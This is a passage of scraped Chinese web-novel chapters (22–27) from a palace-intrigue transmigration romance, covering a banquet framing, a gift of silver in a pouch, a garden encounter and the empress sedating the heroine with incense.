便是余下人对他多有偏见,也不得不承认此话条理顺畅,让人挑不出刺。 景仁帝道:“确是有理。” “陛下!”若雪却又按耐不住,撕扯的声音有些尖锐,“奴婢能答上来!” “哦?”卫北临目视前方,并不看她,“那我再问你,我身上哪里有痣?” 若雪颤着唇,不语。 “你说你能答上来先前的问题,可那些问题皆是私事,便是你胡编乱造旁人也不晓得,我除了矢口否认亦无法证明清白。”卫北临说,“我问你我身上痣,却是因为我从不与人同浴,你想了解也无从得知。” 他微仰起头,终于露出几分少年郎的傲气,“我卫北临此生只会娶一人,珍之爱之,绝不会做这种背叛她的事!” 一片沉默中,景仁帝忽然起身,竟旁若无人地鼓起掌来,“好!有志气!” 堂中仿佛有一瞬诡异的停滞,随即如排山倒海般爆发出一阵掌声,像是在彰赏什么大功臣。 荒唐! 迫于皇威麻木鼓掌的众人笑容勉强,恨不得从地里挖个洞钻出去。 就算卫北临这番话有理有据令人信服,皇帝也不用这么大反应吧?! 卫北临额角微抽,虽说看样子这盆脏水是挡回去了,但他怎么看皇帝精神状态不太好的样子? 景仁帝鼓掌鼓尽兴了,歇下来已是笑容满面,问:“既然如此,那日与你同乘马车的姑娘便是你 22.锦袋 《变成恶女的猫后被读心了(穿书)》全本免费阅读 那位名叫若雪的舞女被收押入牢,等候审问。 这场把戏其实并不高明,甚至称得上是拙劣,不过即便如此,在他们看来对付卫北临已经足够了。 却不想这个平日里花钱都算不清的蠢货竟然临危不惧、有条不紊地化解此局。 出了这种事,谁也没有心思再看什么歌舞,舞女们依序退下,褚雪镜隐隐扫了一眼,垂眸抿了一口茶。 前世她与娴和的交集其实不多,她不知道娴和被卖进暗市前是何身份,现下看来,若是舞女也合情理。 夜宴仍在继续,只不过高台上空空如也,景仁帝和皇后已然离宴,殿上便只有臣子世家,总算不至于喘不过气了。 “二姐,”除夕夜宴是为守岁,直到达旦才结束,褚玉霜偏头问她,“听说宫中梅花开得正好,二姐不去看看么?” 褚雪镜懒懒托腮,平日里这个时候她已经快睡下了,方才殿里又闹那么一出,根本提不起劲儿,“我累了,不去。” 褚玉霜轻轻拉住她的衣缘,可怜巴巴道:“我还未见过呢,二姐陪我去看看罢?” 褚雪镜纹丝不动,只用那双水烟一般的眸睨了她一眼。 褚玉霜恳切地看着她,杏眼微睁,黑棕的眼瞳中映出她的小影,好生可怜。 褚雪镜微叹一声,像是有所动摇,“我当真有些疲乏,你先带着莲蕊和春茵去吧,我过会儿来寻你们。” 话都说到这个份儿上了,再死乞白赖地非要褚雪镜同她一路反而惹人生厌,褚玉霜抿唇轻笑,适时有度地松开手,“那二姐过会儿一定要来,我在梅园等你。” 褚雪镜弯了下唇,眸光落在有些茫然的春茵身上,轻声道:“你随玉霜一起去吧。” 她今日参宴只带了春茵,春茵办事利落,心思也活络,来听雪院几日便赢得了褚雪镜的重用,甚至比在她身边三年之长的秋芝还要合心。 春茵犹豫一瞬,道:“小姐,你身子不好,夫人嘱咐我要时时跟着您……” “我就在这歇着,”褚雪镜睫羽微翘,如画的眉眼宛若静河流淌,叫人不禁信服,“你这几日忙里忙外,也同莲蕊去悠闲片刻,此处大家都在,我不会有事的,很快便来。” 春茵手指搅成乱麻,褚雪镜既然有意支开她,她若还强行留下恐令她不快,只得道:“多谢小姐。” 褚雪镜看着春茵一步三回头地离开,漠然回眸,却恰恰撞上不远处男人的目光。 卫北临站在褚朗身边,剑眉微拧,匆忙瞥过眼神,褚雪镜却没错过他神色里一闪而过的警惕怀疑。 怎么,又害怕她这个“恶毒女配”作恶了? 褚雪镜狭起桃花眸,眸光一晃,明目张胆地扫向龙椅下方的太师椅—— 方才萧胤玦坐过的地方。 “二妹!” 褚朗的声音从背后传来,褚雪镜应声回眸,男人看了一眼她身边空荡荡的席位,问:“玉霜呢?” 褚雪镜道:“去梅园赏花了。” 褚朗眉头一皱,褚雪镜孤零零地坐在这,身边连个贴身婢女都没怎么能行,“你怎么不去?” 他环顾一圈,脸色愈发难看,“你身边的婢子呢?” 女人裹着雪色的氅,细白的绒毛亲昵地贴在她颈边,闻言从中抬起一张昳丽雪艳的小脸,乖顺道:“我让她随三妹一起去了。” “她自己有婢女,你瞎做什么好人?”褚朗气不打一处来,“你若是突然发病……” “大哥。” 褚雪镜的嗓音轻而软,褚朗蓦地收声,垂眼便见她潋滟的明眸亮亮地看着他。 自褚玉霜回府后她便很少用这种信赖欢喜的目光望向他了,男人心里蓦然一软,却还是嘴硬道:“说什么也没用,你……” 褚雪镜薄薄地眼皮轻敛,忽地看向他身后。 她道:“卫世子是不是在等你呢?你快去吧,我好着呢。” 褚朗:“是吗,不是他说……” 男人话音一顿,猛然反应过来,澄澈的眼神登时深邃起来,审视的目光落在褚雪镜身上。 他如临大敌,“你什么时候和他这么熟了?” 褚雪镜眨了眨眼,她竟没料到褚朗在这方面这般敏锐,只能歪头装傻,“什么熟不熟,他不是大哥你的好友么?我自然认得一二。” “不对。”褚朗神情严肃,像是在对待什么大事,“你从前不会这样的。” 褚雪镜:“哪样?” 褚朗眼睛一瞪,“你上次见到他理都不理!” 褚雪镜蹭了一下鼻尖,还没说话褚朗就已然一副已经抓到她把柄的样子,“看吧,你心虚了!” 他抱臂俯视着她,满脸森寒快凝成实体滴下来,“坦白从宽,抗拒从严。” 褚雪镜道:“不过是先前偶遇说过两句话,还能有什么?” 褚朗狐疑,“真的?” “真的。”褚雪镜眉眼弯弯,忽想起了什么,从袖中取出一鼓囊的锦袋递给褚朗。 素色的锦袋上绣着一株栩栩如生的兰花,褚朗刚想问给他这个做什么,便听褚雪镜道:“麻烦大哥帮我转交给卫世子,就说是感谢他前几日帮了忙。” 褚朗:??? 他惊疑不定,分明难以置信却还是压低声音道:“他帮了你什么忙你都要以身相许了?” 褚雪镜:“……” 她肉眼可见地黑了脸,“大哥,你酒喝多了?” 褚朗捏着锦袋却像握着烫手山芋,咬牙道:“你们这叫私相授受!” 说完他又惊,“卫北临殿上说的那人不会是你吧?!” 褚雪镜:“……” “而且他是什么人你不知道吗?”褚朗越说越上头,气得两眼放火、头顶冒烟,“他一个纨绔有什么好的?书也不读、武也不练,除了嘴皮子利索点,哪里值得你托付终身……” 不远处暗中观察的男人猛地打了个喷嚏。 “大哥,”褚雪镜幽幽道,“你不也是这样么?” 褚朗额角暴筋,看起来当真被气得不轻,“我能一样么?我是你哥!” 褚朗还真是……脑子里除了谈情说爱没别的事了。 褚雪镜轻叹了口气,无奈提醒,“你拿着就不硌手么?” 险些怒发冲天的人熄了火,掌腹中的东西的确坚硬且参差不齐,不像玉佩钗头等定情之物,倒像是…… 银子。 见他反应过来 23.檀香 《变成恶女的猫后被读心了(穿书)》全本免费阅读 “雪镜,你实话告诉我,是不是他欺负你了?” 褚雪镜抿唇,“大哥,不是你想的那样……” “那是哪样?!”褚朗恨恨地瞪着卫北临,就像瞪一头拱了白菜的猪,哪还有至交好友的样子,“他长得是挺人模狗样的,但你别被他的皮相骗了!” “我看他是图你貌美觊觎你,说不定和我关系好也是因为……” 眼看他越说越过分,褚雪镜提高了声音,“大哥!” 褚朗止了声,可脸被恼得涨红,倒也有几分可怜兮兮的样子。 他暗暗剜了卫北临一眼,巴不得啃下他一块肉。 我拿你当兄弟,你转头拐我妹?! “哥。”这样僵持也不是办法,褚雪镜放软语气上前两步,隔着袖袍握住他的手臂,“我回去慢慢同你解释,好不好?” 褚朗眼眶通红,像是被气狠了,“真的?” “真的。”褚雪镜嗓音放得更轻,她与褚朗兄妹十余年,就算她已心有隔阂,到底不忍心看褚朗当众如此失态,“别生气了,好不好?” 她隐约感觉到褚朗的怒气来源不单是卫北临,还有深藏着的、不易显露的、被冷落的愤懑哀怨。 褚朗眸色幽深地看着她,素来笑意晏晏的脸上竟无意间显出几分深沉,“知道了。” 褚雪镜恍若未觉,轻笑,“大哥还像小孩子一样。” 她垂眸看向被他捏的皱巴巴的锦袋,伸手拿了回来。 褚朗本欲拦她,余光瞥见她略带苍白的脸色,终究是松了力气。 二妹身子差,殿外冰寒,还是叫她早些了结了这事回去。 他忽然想起什么,“你不是去找玉霜了么?” 褚雪镜掀眼神色不明地看了他一眼,道:“有东西落在席上,一回来便瞧见大哥要打人。” 褚朗:“……” 他眼睁睁看着褚雪镜玉白的指节将那锦袋整理平整,转身走向身后的卫北临。 啊啊啊更生气了!该死的!诡计多端的臭男人! “卫世子,”褚雪镜摊开手心,将锦袋送到卫北临面前,“一点心意,多谢你那日仗义相助,给你添了不少麻烦,实在抱歉。” 卫北临漆黑的眸子盯着她,天色已暗,宫中虽点了灯,但他们所在之处有些偏僻,只有摇晃的灯影。 男人的面容被灯火映得忽明忽暗,哑声道:“你就这么想和我撇清干系么?” 为什么呢?因为萧胤玦么? 褚雪镜微怔,旋即莞尔,“卫世子说笑了,这本就该是你应得的。” 褚雪镜之前让秋芝将银票送去卫府,却都被退了回来。那玉一看便价值不菲,鸿玉坊又不可能放弃卫北临这么大一个冤大头,想必花费他不少,总不能让他一人承担,于是她深思之后,还是决定当面给他。 “我不要。”卫北临沉默一会儿,偏过头去,“没必要。” 他话音落下,空气仿佛都静止了。她独有的馨香近在咫尺,却许久未听见她说话。卫北临抿唇,暗想是不是他语气太重,目光不由自主转回来,便见她眉眼轻垂,睫羽拂下,像是有些受伤。 男人动了下唇,刚要说什么,褚雪镜忽然将锦袋扔进他怀里,留下一句“随你”便径直擦过他离开。 他目光下意识追随她而去,反应过来回头就对上褚朗虎视眈眈的眼神。 卫北临:“……” 褚朗大步跨过来,扫了一眼他手里的锦袋,质问劈头盖脸地就落下来,“她和你说什么了?”他没敢靠太近,怕褚雪镜生气。 卫北临睨他,“与你何干?” 褚朗登时拳头捏紧,瞄了一眼褚雪镜还没消失的背影,到底还是忍了下去,干脆不看他这张讨人嫌的脸,视线转向他手里的锦袋,“你要不要,不要还我。” 他虽然听不清两人说了什么,褚雪镜背对着他也看不清她的神色,但卫北临的表情他却看得一清二楚,显然是不乐意要。 他不想要是一回事,借别人的手还给褚雪镜是另一回事。卫北临想起褚雪镜离开时落寞的神色,一时心软下来,虽说她强塞给他,可若是他转头就还给褚朗,她应该会更讨厌他…… 卫北临将锦袋塞进自己怀里,“我的,不给。” 褚朗:??? 褚雪镜给他他推三阻四,他褚朗想要回去就又成他的了? 欲擒故纵!果然诡计多端! 卫北临才不管他心里的弯弯绕绕,他算是看出来了,不管是原主还是他,和褚朗都是塑料兄弟情。 他扬了扬眉,朗声道:“褚大哥,某先行一步,再会吧嗷。” 褚朗暴躁,“谁是你大哥?!” 然卫北临甩袖便走,褚朗死死瞪着他的背影,恨不得瞪出一个窟窿。 不对。 他猛然意识到不对劲。 这家伙怎么去的方向和雪镜一样啊?! …… 梅园。 当今圣上与皇后伉俪情深,皇后独爱寒梅,故而景仁帝特地在御花园旁开辟了一块新地专种梅花。 寒冬正盛,梅园中树头枝繁花开,不少千金小姐慕名而来,因此也不显孤廖。 褚玉霜越过花簇,遥遥瞧见褚雪镜缓步而来,示意春茵上前去迎。 “小姐,你总算来了。”春茵脱口而出,顿了一下又道,“奴婢都要担心死了。” 褚雪镜却看也没看她,笑了笑,“宴中人多,有什么好担心的。” 春茵小步跟在她后头,小心望着她玉瓷般的侧颜,似是想问什么,又不敢开口。 “怎么?”褚雪镜若有所感,脚下的泥土松软,像是融了碎雪,“有话想问我?” 春茵抿了抿唇,像是终于忍不住了,开口,“小姐方才是故意支开奴婢的么?” 褚雪镜偏眸看向她,“何出此言?” 春茵摇了摇头,却不说话了。 “你是在想,你初来乍到,为何我如此信任你,甚至让你顶了秋芝跟在身边?”褚雪镜毫不避讳地戳穿她的不解和恐惧,“还是在想,我是否是在试探你,等着抓你的把柄?” 春茵吞了吞口水,她虽是忠远侯府的家奴,却是自幼在乔恩兰院里做事的,府中下人都说褚雪镜蠢笨不才,是个除了脸什么都不会的花瓶,可… 24.第 24 章 《变成恶女的猫后被读心了(穿书)》全本免费阅读 谢楚源微低着头,从他的角度能借着朦胧的月光看清少女漂亮的侧颜,特别是那双水灵潋滟的双眸,蒙着一层被他吓出的泪光,像只惊惶的幼鹿,无力地等待捕猎者的审判。 褚玉霜还去追什么兔子,这不就有一只现成的么? 少女似是感知到身后男人当真没有伤害她的意思,紧绷的背脊松懈两分,抓着他捂住自己唇的手腕拽了一下,示意他松手。 “可以放开你,”谢楚源眸光逡巡过她莹白的耳廓,低声道,“但你要保证,不许叫、不许回头。” 不许回头? 褚雪镜心中微嗤,面上却是迫不及待地点头。男人沉沉望了她片刻,移开了掌心。 “你…”她喘了口气,纤长的睫毛簌簌扇着,遵守承诺没有回头,只是小声问,“你是什么人?” 腿部的肌肉开始阵阵发疼,谢楚源扫过她被自己掌腹压得红艳的唇,不语。 “你、你不说,”男人的呼吸声就在身后清晰可闻,却一言不发,褚雪镜捏了捏自己的指节,试探道,“那我是不是可以走了?” 林中冷风呼啸,得到的依旧是沉默的回复。褚雪镜深吸一口气,她虽不知道这人意欲为何,但既然没有制止,当就是默认了。 她正要抬脚迈出一步,身后的男人却又拉住她的小臂将她拽了回去。褚雪镜一惊,下意识要张口,对面忽传来细小的动静,叫她警惕地噤了声。 “殿下,”一道沙哑的声音在黑暗处响起,像是被火燎过的嗓子,嘶哑难听,“陛下似乎起疑了。” 死一般的寂静在空气中蔓延开,褚雪镜屏住呼吸,即便看不见说话的人在何方,仍然有一种无形的窒息感裹挟着她。 不知过去多久,她才听见萧胤玦的声音说,“孤的警告你都当耳旁风么?” 那人说话很慢,似乎嗓子用着很费劲,“某不敢。” 他话音微顿,刮沙般的声音更加沉闷,“最近有些人不安分,殿下万事小心。” 该等的人始终不见身影,萧胤玦几乎是难掩的烦躁,“滚吧。” 两人一前一后的脚步声逐渐淡去,褚雪镜松了口气,看来今日不用和萧胤玦有接触了,一直默不作声的男人却忽然道:“他在等谁?” 褚雪镜身形一顿,克制住转身看见他真容的冲动,茫然道:“你说什么?” 谢楚源如有实质的目光从她颈后划过,他看着女人有些慌乱却又强作镇定地收紧下颌,仿佛这样能让自己看起来可信一些。 他忍着腿上如刀钻一般的疼痛抱臂站在她身后,冷汗成滴沿着颌角落下。 褚玉霜这位二姐,倒不像传闻那么蠢笨。 他轻笑一声,忽然像是听见了什么,将原本要说的话咽了下去,“又有人来了。” ……什么? 褚雪镜眼皮颤了一下,下一瞬男人的气息便消失在原地,仿佛不曾来过。 她猛然转身,竟正对上卫北临面无表情的脸。 他站在不远处,手里还攥着她方才甩到他怀里的锦袋,月辉之下,男人凤眸沉沉,朗俊的面容冷硬如铁,眸色不明地望着她。 褚雪镜轻眨了下眼,他看见方才那人了么? 女人愣神之际,男人已抬步走到了她面前,将素色的锦袋像她递给他时一般还给了她,“你的东西。” 唯一不同的是,锦袋的袋口散着,露出里面被月光映得反辉的碎银,碎银上躺着一个拇指大的小巧的白玉玉坠。 一个平安扣。 褚雪镜不接,只是掀起眼睫看着他。 女人有一双足以令所有人为之心动的多情眼,一瞬不瞬地盯着人时,总是叫人忍不住生出被她深爱的错觉。 然而她眼中还有未尽的泪意,眼尾勾出一抹自己都没注意到的薄粉。 卫北临微垂下睫毛,不经意扫过她白嫩脸颊上显眼的红痕。 是那个男人弄出来的吗? 他喉头一滚,逼迫自己看向她的眼睛,哑声道:“本就说好要给你的。” “卫世子,”卫北临毫无意外地听她淡声拒绝,“于礼不合。” 握着锦袋的手指无声握紧,男人忽然笑了一下,眼里却没有笑意,“你叫我来就合礼数了?” 谁知褚雪镜柳眉轻蹙,疑惑道:“我什么时候叫你来了?” 男人的神情愈发阴沉,几乎是从唇缝里挤出来的话,“你给我的锦袋,除了银子外,还有一张纸条。” 他看着褚雪镜娇艳的容色一寸一寸褪去血色,不免心中觉得自己可笑。 明明早该料到那不是给他的……锦袋里的碎银硌得他手掌生疼,卫北临沉默着垂眼将它袋口收紧。 “看来是我会错意了,”他道,“抱歉,二小姐。” 他不知道褚雪镜本来是想给谁的,也许是萧胤玦,也许是方才那个与她同路的男人。 给谁都无所谓,反正与他无关,他也不想知道。 四下无人,卫北临隔着衣袂拉起她的手腕,把锦袋交还到她手里。 女人在林中待了许久,葱白的手指被冻出斑驳的青紫。卫北临收回目光,行止有度,很快便松开,扯了扯唇角,“鸿玉坊的事本就是意外,对我并无影响;再者,若你不是褚朗的妹妹……” “方才我哥,”褚雪镜生涩开口,将男人未说完的语句截断,“为什么要打你?” 卫北临摩挲了一下手指,淡淡道:“有一些误会。” 他似是不想多说这件事,抬头环视一圈沉寂的周围,道:“很快要看烟火了,这里面不安全,你还是快些出去吧。” 除夕夜宴必不可少的部分便是烟火表演,开始前会在吉时放两束,真正的表演则集中在丑时三刻后,一直持续到寅时末。 若是烟火表演不见她,侯府的人和萧胤玦都会起疑。 卫北临说完便转身要走,袖角却措不及防被人拉住,男人微怔,身后的女人绕到他身前,垂着眼,细声道:“等等。” 她局促地攥着男人的衣缘,片刻后,轻轻抬起泛红的泪眼,软声道:“是我故意放在锦袋里的。” 卫北临失神地看着她,半晌才找回自己的声音,“……给我的?” 褚雪镜牵着他的袖袍缓缓靠近,一如鸿 25.风雨 《变成恶女的猫后被读心了(穿书)》全本免费阅读 坤宁宫。 “启禀皇上,”太医躬身作揖,一丝不苟道,“褚小姐本就患有寒症,因长时间受凉而导致忽然昏倒,服下温阳丸后一炷香便能醒来。” “好端端的怎么受了凉。”景仁帝微叹一声,“褚家这丫头命运多舛,倒是苦了她了。” 皇后将褚雪镜接进寝宫里照顾,眼下褚雪镜还未苏醒,即便是皇帝也不好进殿。他瞥了身后木着脸的卫北临一样,转头去问贺尹,“忠远侯一家在何处?” 贺尹道:“皇后娘娘将他们安排在偏殿等候。” 景仁帝了然颔首,拂了拂袖袍,“北临,你随朕去瞧瞧他们罢。” 被叫到名字的男人宛若雕像立在原地,肉//身杵在那,魂儿不知道飞到哪去了。 景仁帝:“……” 贺尹忍着笑,也就是皇帝纵着世子,换旁人脑袋都掉八百回了。 他上前低声道:“卫世子,陛下叫您呐!” 卫北临无神的眼瞳动了一下,对上皇帝似笑非笑的目光。 “陛、陛下,”卫北临一紧张就结巴,“臣…臣有罪,请陛下责罚。” 景仁帝嫌弃得打量他两眼,冷哼一声,“得了,就你那身板,还没罚就倒了。” 这是内涵他弱鸡么?卫北临眼皮一跳,下意识嘴硬,“臣身板挺结实的。” 景仁帝无言睨了他一眼。 瞧么,心上人晕倒了,嘴也跟着没把门了。 非要跟着比翼双倒才高兴呢? 贺尹以拳掩唇,轻咳一声以作提醒。 卫北临:“……” 他瞬间反应过来他方才怼的人是皇帝,啪啪在心里给了自己两拳头,立马告罪:“臣口无遮言,陛下恕罪。” 卫北临啊卫北临,伴君如伴虎,你脑袋不要了吗! 景仁帝也不知是生气没生气,鼻子哼了一声抬脚走了。 卫北临回头瞥了灯火通明的寝殿一眼,却不敢再逗留,快步跟上。 先前在梅园,褚雪镜同他讲话的时候的确脸色有些苍白,手也被冻紫了,但…… 女人微带泣音的话语犹在耳畔—— 帮帮我,救救我。 他总觉得此事没有那么简单。 “参见陛下。” 男人深思时景仁帝已然步入偏殿,忠远侯、褚朗和褚玉霜皆在,忠远侯夫人乔恩兰应是去了内殿照料。 “不必多礼。”相对于几人明显的慌乱不安,景仁帝倒没什么架子,“除夕夜是个好日子,小镜却病倒了,朕也心中有愧啊。” ……小镜? 卫北临不动神色地观察过他们的神情,都习以为常一般不见异色。 称呼这么亲切,难道褚雪镜与皇家有什么渊源么? 他克制不住不去联想萧胤玦。 皇后无子,萧胤玦虽不是当今皇后亲生,但自幼被抱养到皇后膝下,不是亲生也胜似亲生。而萧胤玦聪慧好学,即便之后有皇子诞生亦不曾动摇过其地位,皇帝对他寄予厚望,在他十一岁时便将他封为储君,可见宠爱—— 这是原书中对男主萧胤玦的叙述。 因此当萧胤玦向皇帝请求赐婚他与褚雪镜时,即便忠远侯一家没落,不能给太子助力,皇帝因爱子心切还是答应了他,甚至给褚雪镜封了县主以抬身份。 那么……皇帝和皇后是已将褚雪镜看做未来的儿媳了么? “陛下言重了,”忠远侯恭敬道,“小女体弱,臣多谢皇上、皇后娘娘不怪罪。” 景仁帝笑了笑,“小镜如今这样,朕有责任,忠远侯不必如此。” 他扫了一眼站在忠远侯身后低眉顺眼的褚玉霜,道:“这便是你才找回来的三女儿?” 忠远侯揣摩不出他突然提起这事的含义,只得诚实道:“是,陛下。” 景仁帝眸光幽幽,道:“走上前来,让朕瞧瞧。” 忠远侯咽了下口水,景仁帝此举恐怕不是什么好事,但帝王当前,他扭头对褚玉霜低声道:“陛下唤你你过去就是。” 褚玉霜缩了缩脖子,依言走上前。 景仁帝支着下颌,眼神在她周围徘徊一圈,似是好奇般说:“你的香囊挺别致的。” 她鹅黄色的裙袂前挂着一枚藕粉色的香囊,针脚细密,精巧地绣着一只白色的小兔,兔首缝了一颗亮红的玉石作眼睛,颇为生动。 褚玉霜从前养在市井,不曾如此近距离地面见过皇帝,颤声道:“回陛下,是…是臣女自己绣的。” 景仁帝却没多在那枚香囊上停留,转而问:“从前是哪里人?” 褚玉霜下意识要去看忠远侯,立在景仁帝身边的贺尹突然出声道:“皇上问话,不必看旁人,三小姐只管答便是。” 皇帝既然问了,那问的必然不是明面上的浅显问题。 她脖子缩得更紧,唯唯诺诺道:“回陛下,是沧州人。” 沧州人…… 卫北临忽然想到什么,眼神飞快地瞟了皇帝一眼。 他嘴角含笑,眉眼却如风雨欲来,沉沉地压得人喘不过气。 原来宴上舞女没能送出去的“大礼”在这里。 “陛下!” 忠远侯亦意识到景仁帝问话背后的动机,火急火燎跪了下来。 忠远侯府自先帝之时便势弱已久,但忠远侯仍能靠自己在朝中混出礼部尚书一职足以说明他是个人精,他膝行两步,急切道:“陛下,臣等与沧州一流绝无干系,陛下明鉴啊!” 忠远侯一跪,为儿为女的自然没有无动于衷的道理,褚玉霜和褚朗也齐齐跪下,仓皇道:“请陛下明鉴。” 景仁帝轻合着眼,仰首长叹,“褚回泽。” 忠远侯颤抖着俯下身,声音竟有几分哽咽,“臣在。” “严峰遇害,是为述职。”皇帝沉声道,“朕苦于没有证据,不能让他瞑目啊。” 忠远侯趴伏着,绯色官袍拖曳在地上,背脊弯曲如弓,“陛下,臣与严峰曾是莫逆之交,可惜政见不同难以同路。” 他猛地抬起头露出赤红的双眼,“但臣绝不会害他!陛下!臣是清白的!” 景仁帝眸色晦暗地从跪在地上的一行人一一滑过,偏殿的门突然被冲开,一个穿着侍卫服的男人单膝着地,抱拳朗声道:“陛下,沧州舞女招了!” 26.痴心 《变成恶女的猫后被读心了(穿书)》全本免费阅读 褚雪镜无意识攥着塌上的床布,不解道:“皇后娘娘何意?” 女人乌发如垂绦细柳挂在肩头,微晃烛火中,她轻偏过头,露出莹白修长的侧颈,“臣女自幼身子骨差,连金陵的公子小姐都认不全,从何来的心上人呢。” 萧胤玦似乎很在意她和卫北临走近,几次三番变着花样来打听他们的关系。 对萧胤玦有威胁的人——看来她没选错棋。 皇后见她对旁人一字不提,微叹了口气,却不再追问,“怪我提及你的伤心事了。” 她怜爱地看着褚雪镜,不等她客套,又轻声问:“你今年多少年岁了?” 褚雪镜乖巧答道:“去年七月满的十七。” 皇后颔首,“你父母亲不曾为你议得一门好亲事么?” 褚雪镜怔愣,茫然摇头,“臣女不知。” 议亲?萧胤玦明里暗里地暗示他对褚雪镜情意非同一般,两人终成眷侣的传言早就散满市井,谁敢和太子抢人同她议亲? 皇后心下有数,无声抬眸看了一旁的嬷嬷一眼,嬷嬷得意退下,偌大的寝殿里便只剩她们二人。 皇后坐在塌上,又拉过她的手,宛若和亲女谈心一般亲切,“阿云,你实话告诉我,你对小珏当真没有一丝男女之情吗?” “就算不是小珏也好,你告诉本宫,本宫就能为你做主。” 她屏退了旁人,看似是不给褚雪镜压力,实则是暗送台阶,不希望她再说出自己不愿听见的话。 褚雪镜抬起眼睫看了看她,皇后今岁不过而立,眼尾却疲态尽显,未施粉黛的脸上隐隐可见久病的蜡黄之色,虽如此,可怎么看也不像三个月就病死的病重之相。 一枚被人操纵的将死之棋,还要如此尽心卖力地套话,真是难为她了。 褚雪镜抖了下睫毛,遂垂下视线,轻抿了抿唇,像是不敢开口。 这般情态却鼓舞了皇后,若是不喜萧胤玦,绝不会有此般小女儿神态。她笑容愈发温和,安抚地拍了拍她的手背,“孩子,这里只有我们,你直说便是了。” 褚雪镜犹疑着,终是小声道:“皇后娘娘,太子哥哥待我很好。” 女儿家温软的嗓音在寝殿中响起,“应是…有的。” “好阿云,”皇后眉眼舒展,称得上是喜笑颜开,“本宫有你这句话就够了,旁的你不必担心,小珏会处理好的。” 褚雪镜抿出一个羞赧的笑。 她现在势单力薄,与皇家撕破脸便是变相把自己往火坑里推。 但不代表她就要事事如他们心意,牺牲自我以全大局。 不可能。 褚雪镜眸光微转,忽然道:“皇后娘娘。” 皇后闻言看向她,只见女人眼睑染了一层薄红,一滴泪珠从脸上滑落,“太子哥哥念着儿时情谊对臣女多有照拂,可臣女却……” “臣女却始终想不起那时的记忆,恐怕辜负了太子哥哥一片痴心。” …… 褚雪镜从前不曾意识到自己失去的那九年记忆有何不妥,毕竟那时年纪尚小,再加上她醒后忠远侯夫妇对她百依百顺,一副视女如命的模样,她便鲜少提及丢失的记忆,害怕他们伤心—— 而她与萧胤玦所谓的青梅竹马,亦是只存在于他们口中。 起初她十分排斥萧胤玦的存在,却碍于身份不得发作,直到去岁萧胤玦在危机时刻救了她,她的态度才有了改变。 可为什么偏偏在她发病的时候就正巧撞上萧胤玦,而萧胤玦又正巧带了什么安神香囊稳住了她的病情呢? 褚雪镜泣泪涟涟,“这些日子臣女总梦到九岁那年发生的事,数次下来,臣女总觉得……” 她倚着榻背,黯然垂着眼,脸被哭得粉红一片。皇后握紧她的柔夷,认真地看着她,带着些许不易察觉的紧张,“总觉得什么?” “……总觉得,”褚雪镜故意停顿片刻,幽幽道,“总觉得有些古怪。” 她话说得模棱两可,听得人干着急,偏生皇后不能说什么,只能耐着性子问:“哪里古怪?” “臣女在梦中见到的那位哥哥…同太子哥哥不甚相像。”褚雪镜眉眼忧愁,但并没有愤怒怨恨,仿佛是单纯的困惑,“皇后娘娘,会不会是太子哥哥认错人了?” 皇后容色微僵,褚雪镜怎么可能还记得过去的事? 她悄然观察着她的神色,不经意般放开她的手,起身走到正冒着弯绕白烟的香炉前,“阿云,你记错了罢。” 褚雪镜看着她玉手轻轻拨弄着香炉中的香灰,一股莫名而熟悉的异香卷弄其中,她觉得自己眼皮变得沉重,像有一双温柔的大手,无声催促着她闭上眼睛,进入梦乡。 “阿云,”皇后的声音变得飘忽迷幻,“这是宫中特制的安神香。” “你思虑过多,有些错觉了,安心睡吧。” * “母后。” 萧胤玦自内殿另一端屏风后走出,眉头拧着,“她是不是发现了什么?” 皇后温和柔软的笑容消失,冷漠的脸上更显老态病相,“便是真的发现了什么,也是你们没做好。” 萧胤玦眉头皱得更紧,提步走到榻边。 褚雪镜已然昏睡过去,呼吸平稳,睫毛被泪水打湿,眼角还有未干的泪痕。 他俯身用指腹擦过女人的眼尾,顺着肤肉抚过她的面庞。 皇后冷眼看着,一丝柔软的母亲神态也无,她生硬道:“你们会后悔的。” “错了。”萧胤玦看也不看她,眸光专注地屈指蹭过熟睡女人水润的红唇,粗粝的拇指指腹施力摁了一下,果然见女人柳眉微蹙,发出一声细小的嘤//咛,“母后,孤永远不会错。” 皇后木然看着他动作,眼中闪过浓郁的厌恶,嗤道:“败子。” 萧胤玦意犹未尽地收回手,无声侧目。 明亮的烛火下,男人温润亲和的面皮被扒下,内里的野望仿若猛禽生扑暴露无遗。 温华锦最厌恶他这个模样,她偏过眼,干脆眼不见心不烦。 萧胤玦并不在意,却到底没再做什么。 他自然知道温华锦看不惯他,可惜。 他们是一条绳上的蚂蚱,看不惯也得忍着。 27.毒碗 萧胤玦眸色霎时幽深,唇边噙的笑亦悄然消失,反问道:“什么瓷雀?” 褚雪镜似乎不明白他为何变了神色,下意识要松开手,却被男人紧紧握住,“阿云,你在哪里瞧见的瓷雀?” 褚雪镜被他问住,茫然道:“和金庭的寝院里。” “那处庭院我不常去,亦不是东宫的人打理,”萧胤玦尽力维持着自己面上的温柔,不至于在她面前流露出暴虐的情绪,“许是借给哪个王公贵族不小心落下的。” 他指腹轻轻蹭着女人柔软的虎口,“换一个好么?我没注意到那枚瓷雀,现下去也不一定能找见了。” 褚雪镜抿了抿唇,将手抽出来,小声不悦道:“太子哥哥是不想给我罢?” “阿云,”萧胤玦猛地伸手握住她的双肩,强逼着她与自己对视,“日后你嫁到东宫做太子妃,我的便是你的,怎会有不给你的?” “这样,”他喘了口气,像是意识到失控,缓缓松开了褚雪镜的肩膀,“我先去找,若是找到了便送到你府上去,如何?” 他这么说,肯定就是找不到了。褚雪镜将他神色中掩藏不住的慌乱纳入眼底,像是未曾听出他的言下之意,顺着他说,“那就听太子哥哥的。” 如若那枚瓷雀是萧胤玦自己放置的,他不可能如此失态,只可能是—— 瓷雀出现在了不应该出现的地方,被不应该看见的人看见了。 那个不应该看见的人是她,想让她看见而谋局的人,又会是谁呢? …… 萧胤玦心里有事,没待多久便离开了,而褚雪镜留在宫中的唯一用处就是和他拉进感情,因此他走后褚雪镜再向皇后申请回府,毫无疑问畅通无阻。 马车晃晃悠悠走着,她没有留下春茵服侍,但皇后为确保她能安全回府,遣了一个嬷嬷跟着。 那嬷嬷是宫里的老人,褚雪镜靠着车壁闭目养神,她倒也有眼色,只是静静地坐着当摆设。 【我都睡醒了,】卫北临的心声响起,【褚雪镜怎么还没回来?】 女人眼睫轻颤,却没睁眼。约莫因为猫身不能说话,他的心声格外频繁,几乎滔滔不休,什么都能絮叨两句。 【哎呀秋芝怎么打扫的,这里放一只碗很挡小猫脚的好吗!】 碗? 褚雪镜倏然睁眼。 